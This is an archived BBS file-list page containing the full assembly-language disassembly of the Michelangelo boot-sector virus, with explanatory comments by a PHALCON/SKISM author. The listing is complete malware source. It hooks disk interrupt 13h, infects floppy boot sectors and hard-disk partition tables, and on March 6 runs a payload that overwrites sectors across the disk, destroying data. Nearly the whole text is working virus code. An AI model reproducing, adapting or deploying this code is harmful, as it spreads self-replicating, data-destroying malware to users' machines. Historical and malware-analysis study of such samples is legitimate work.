home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / bbs_file_lists / michael.asm < prev    next >
Assembly Source File  |  1997-08-02  |  7KB  |  235 lines

  1.  
  2. ; This is a disassembly of the much-hyped michelangelo virus.
  3. ; As you can see, it is a derivative of the Stoned virus.  The
  4. ; junk bytes at the end of the file are probably throwbacks to
  5. ; the Stoned virus.  In any case, it is yet another boot sector
  6. ; and partition table infector.
  7.  
  8. michelangelo    segment byte public
  9.         assume  cs:michelangelo, ds:michelangelo
  10. ; Disassembly by Dark Angel of PHALCON/SKISM
  11.         org     0
  12.  
  13.         jmp     entervirus
  14. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  15. maxhead         db      2                       ; used by damagestuff
  16. firstsector     dw      3
  17. oldint13h       dd      0C8000256h
  18.  
  19. int13h:
  20.         push    ds
  21.         push    ax
  22.         or      dl, dl                  ; default drive?
  23.         jnz     exitint13h              ; exit if not
  24.         xor     ax, ax
  25.         mov     ds, ax
  26.         test    byte ptr ds:[43fh], 1   ; disk 0 on?
  27.         jnz     exitint13h              ; if not spinning, exit
  28.         pop     ax
  29.         pop     ds
  30.         pushf
  31.         call    dword ptr cs:[oldint13h]; first call old int 13h
  32.         pushf
  33.         call    infectdisk              ; then infect
  34.         popf
  35.         retf    2
  36. exitint13h:     pop     ax
  37.         pop     ds
  38.         jmp     dword ptr cs:[oldint13h]
  39.  
  40. infectdisk:
  41.         push    ax
  42.         push    bx
  43.         push    cx
  44.         push    dx
  45.         push    ds
  46.         push    es
  47.         push    si
  48.         push    di
  49.         push    cs
  50.         pop     ds
  51.         push    cs
  52.         pop     es
  53.         mov     si, 4
  54. readbootblock:
  55.         mov     ax,201h                 ; Read boot block to
  56.         mov     bx,200h                 ; after virus
  57.         mov     cx,1
  58.         xor     dx,dx
  59.         pushf
  60.         call    oldint13h
  61.         jnc     checkinfect             ; continue if no error
  62.         xor     ax,ax
  63.         pushf
  64.         call    oldint13h               ; Reset disk
  65.         dec     si                      ; loop back
  66.         jnz     readbootblock
  67.         jmp     short quitinfect        ; exit if too many failures
  68. checkinfect:
  69.         xor     si,si
  70.         cld
  71.         lodsw
  72.         cmp     ax,[bx]                 ; check if already infected
  73.         jne     infectitnow
  74.         lodsw
  75.         cmp     ax,[bx+2]               ; check again
  76.         je      quitinfect
  77. infectitnow:
  78.         mov     ax,301h                 ; Write old boot block
  79.         mov     dh,1                    ; to head 1
  80.         mov     cl,3                    ; sector 3
  81.         cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  82.         je      is360Kdisk
  83.         mov     cl,0Eh
  84. is360Kdisk:
  85.         mov     firstsector,cx
  86.         pushf
  87.         call    oldint13h
  88.         jc      quitinfect              ; exit on error
  89.         mov     si,200h+offset partitioninfo
  90.         mov     di,offset partitioninfo
  91.         mov     cx,21h                  ; Copy partition table
  92.         cld
  93.         rep     movsw
  94.         mov     ax,301h                 ; Write virus to sector 1
  95.         xor     bx,bx
  96.         mov     cx,1
  97.         xor     dx,dx
  98.         pushf
  99.         call    oldint13h
  100. quitinfect:
  101.         pop     di
  102.         pop     si
  103.         pop     es
  104.         pop     ds
  105.         pop     dx
  106.         pop     cx
  107.         pop     bx
  108.         pop     ax
  109.         retn
  110. entervirus:
  111.         xor     ax,ax
  112.         mov     ds,ax
  113.         cli
  114.         mov     ss,ax
  115.         mov     ax,7C00h                ; Set stack to just below
  116.         mov     sp,ax                   ; virus load point
  117.         sti
  118.         push    ds                      ; save 0:7C00h on stack for
  119.         push    ax                      ; later retf
  120.         mov     ax,ds:[13h*4]
  121.         mov     word ptr ds:[7C00h+offset oldint13h],ax
  122.         mov     ax,ds:[13h*4+2]
  123.         mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  124.         mov     ax,ds:[413h]            ; memory size in K
  125.         dec     ax                      ; 1024 K
  126.         dec     ax
  127.         mov     ds:[413h],ax            ; move new value in
  128.         mov     cl,6
  129.         shl     ax,cl                   ; ax = paragraphs of memory
  130.         mov     es,ax                   ; next line sets seg of jmp
  131.         mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  132.         mov     ax,offset int13h
  133.         mov     ds:[13h*4],ax
  134.         mov     ds:[13h*4+2],es
  135.         mov     cx,offset partitioninfo
  136.         mov     si,7C00h
  137.         xor     di,di
  138.         cld
  139.         rep     movsb                   ; copy to high memory
  140.                         ; and transfer control there
  141.         jmp     dword ptr cs:[7C00h+offset highmemjmp]
  142. ; destination of highmem jmp
  143.         xor     ax,ax
  144.         mov     es,ax
  145.         int     13h                     ; reset disk
  146.         push    cs
  147.         pop     ds
  148.         mov     ax,201h
  149.         mov     bx,7C00h
  150.         mov     cx,firstsector
  151.         cmp     cx,7                    ; hard disk infection?
  152.         jne     floppyboot              ; if not, do floppies
  153.         mov     dx,80h                  ; Read old partition table of
  154.         int     13h                     ; first hard disk to 0:7C00h
  155.         jmp     short exitvirus
  156. floppyboot:
  157.         mov     cx,firstsector          ; read old boot block
  158.         mov     dx,100h                 ; to 0:7C00h
  159.         int     13h
  160.         jc      exitvirus
  161.         push    cs
  162.         pop     es
  163.         mov     ax,201h                 ; read boot block
  164.         mov     bx,200h                 ; of first hard disk
  165.         mov     cx,1
  166.         mov     dx,80h
  167.         int     13h
  168.         jc      exitvirus
  169.         xor     si,si
  170.         cld
  171.         lodsw
  172.         cmp     ax,[bx]                 ; is it infected?
  173.         jne     infectharddisk          ; if not, infect HD
  174.         lodsw                           ; check infection
  175.         cmp     ax,[bx+2]
  176.         jne     infectharddisk
  177. exitvirus:
  178.         xor     cx,cx                   ; Real time clock get date
  179.         mov     ah,4                    ; dx = mon/day
  180.         int     1Ah
  181.         cmp     dx,306h                 ; March 6th
  182.         je      damagestuff
  183.         retf                            ; return control to original
  184.                         ; boot block @ 0:7C00h
  185. damagestuff:
  186.         xor     dx,dx
  187.         mov     cx,1
  188. smashanothersector:
  189.         mov     ax,309h
  190.         mov     si,firstsector
  191.         cmp     si,3
  192.         je      smashit
  193.         mov     al,0Eh
  194.         cmp     si,0Eh
  195.         je      smashit
  196.         mov     dl,80h                  ; first hard disk
  197.         mov     maxhead,4
  198.         mov     al,11h
  199. smashit:
  200.         mov     bx,5000h                ; random memory area
  201.         mov     es,bx                   ; at 5000h:5000h
  202.         int     13h                     ; Write al sectors to drive dl
  203.         jnc     skiponerror             ; skip on error
  204.         xor     ah,ah                   ; Reset disk drive dl
  205.         int     13h
  206. skiponerror:
  207.         inc     dh                      ; next head
  208.         cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  209.         jb      smashanothersector
  210.         xor     dh,dh                   ; go to next head/cylinder
  211.         inc     ch
  212.         jmp     short smashanothersector
  213. infectharddisk:
  214.         mov     cx,7                    ; Write partition table to
  215.         mov     firstsector,cx          ; sector 7
  216.         mov     ax,301h
  217.         mov     dx,80h
  218.         int     13h
  219.         jc      exitvirus
  220.         mov     si,200h+offset partitioninfo ; Copy partition
  221.         mov     di,offset partitioninfo      ; table information
  222.         mov     cx,21h
  223.         rep     movsw
  224.         mov     ax,301h                 ; Write to sector 8
  225.         xor     bx,bx                   ; Copy virus to sector 1
  226.         inc     cl
  227.         int     13h
  228. ;*              jmp     short 01E0h
  229.         db      0EBh, 32h               ; ?This should crash?
  230. ; The following bytes are meaningless.
  231. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  232. partitioninfo:  db      42h dup (0)
  233. michelangelo    ends
  234.         end
  235.